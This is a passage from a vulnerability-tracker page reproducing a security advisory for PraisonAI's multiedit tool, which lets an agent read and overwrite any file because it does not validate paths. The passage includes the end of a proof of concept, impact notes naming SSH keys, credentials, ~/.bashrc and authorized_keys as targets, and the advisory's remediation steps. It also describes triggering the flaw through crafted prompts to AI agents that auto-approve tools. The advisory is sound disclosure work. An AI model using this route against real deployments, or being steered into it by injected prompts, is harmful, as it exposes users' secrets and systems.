diff: 0 bytes  (file content still accessible via dry_run diff when edits match)\n\n# Write:\nFile content after edit: \u0027PWNED content here\\n\u0027\n```\n\n**Negative control \u2014 non-existent file:**\n```bash\nresult = multiedit(\u0027/nonexistent/file.txt\u0027, [{\u0027old\u0027: \u0027a\u0027, \u0027new\u0027: \u0027b\u0027}])\n# Returns: {\u0027success\u0027: False, \u0027error\u0027: \u0027File not found: /nonexistent/file.txt\u0027}\n```\n\n**Cleanup:** `rm /tmp/victim_file.txt`\n\n## Impact\n\nAn attacker who can influence the `filepath` parameter of the `multiedit` tool (via crafted prompts to an AI agent, user messages in Telegram/Discord/Slack bots using `auto_approve_tools=True`, or YAML workflow configurations) can:\n\n- **Read arbitrary files** \u2014 any file readable by the process user, including secrets, SSH keys, cloud credentials, environment files (`.env`), and configuration files.\n- **Write/overwrite arbitrary files** \u2014 modify any file writable by the process user, enabling privilege escalation (e.g., writing to `~/.bashrc`, `~/.ssh/authorized_keys`, or overwriting application source code).\n\nThis affects all deployments where agents have the `multiedit` tool available, including the PraisonAI CLI and chat bot deployments where `auto_approve_tools` defaults to `True`.\n\n\n## Suggested remediation\n\nApply the same path validation pattern used by `file_tools.py` and the code tools in `src/praisonai/praisonai/code/tools/`:\n\n1. Add a `_validate_path` function that:\n   - Rejects paths containing `..`\n   - Resolves symlinks via `os.path.realpath`\n   - Validates the resolved path is within the workspace/CWD using `os.path.commonpath`\n2. Add protected path guards (`.env`, `.git`, `.ssh`, keys, credentials)\n3. Apply `_validate_path` to the `filepath` parameter before any `open()` call\n4. Consider adding `@require_approval(risk_level=\"high\")` to the `multiedit` function\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
  "id": "GHSA-29w3-p9w9-wc47",
  "modified": "2026-07-20T21:28:32Z",
  "published": "2026-06-18T14:27:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-29w3-p9w9-wc47"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

PYSEC-2026-3500

Summary

Details

PoC

Impact

Suggested remediation

Credits

GHSA-29W3-P9W9-WC47

Summary

Details

PoC

Impact

Suggested remediation

Credits

Tags

Sightings

Nomenclature